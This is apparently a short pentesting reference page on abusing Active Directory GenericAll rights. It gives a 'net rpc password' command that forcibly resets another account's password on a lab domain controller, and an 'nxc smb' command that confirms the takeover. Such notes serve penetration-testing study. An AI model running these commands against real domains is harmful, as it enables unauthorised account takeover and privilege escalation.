> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/active-directory/access-control-list-acl-abuse-primer/abusing-acl-generic-all.md).

# Abusing ACL - Generic All

We have a user that has generic all permission over another user

<figure><img src="/files/0RkhOXCsMW1gaP1L2SUV" alt=""><figcaption></figcaption></figure>

We can force change the password and we have the command in the linux itself

<figure><img src="/files/q7Kild0Grpg0w02UIe7z" alt=""><figcaption></figcaption></figure>

```
net rpc password "backup_svc" 'HackSmarter123!' -U 'hacksmarter.hsm'/"pentest"%'HackSmarter123!' -S "dc01.hacksmarter.hsm"
```

<figure><img src="/files/0Lkz8dQgk1j1VvpiCdl2" alt=""><figcaption></figcaption></figure>

Now check if worked or not

```
nxc smb dc01.hacksmarter.hsm -u 'backup_svc' -p 'HackSmarter123!' --shares
```

<figure><img src="/files/cnYnRYxmu4dyrwJZiczm" alt=""><figcaption></figcaption></figure>

It works and our compromized user has additional permissions

<figure><img src="/files/nGN5BonxA6MGnj1A1l7R" alt=""><figcaption></figcaption></figure>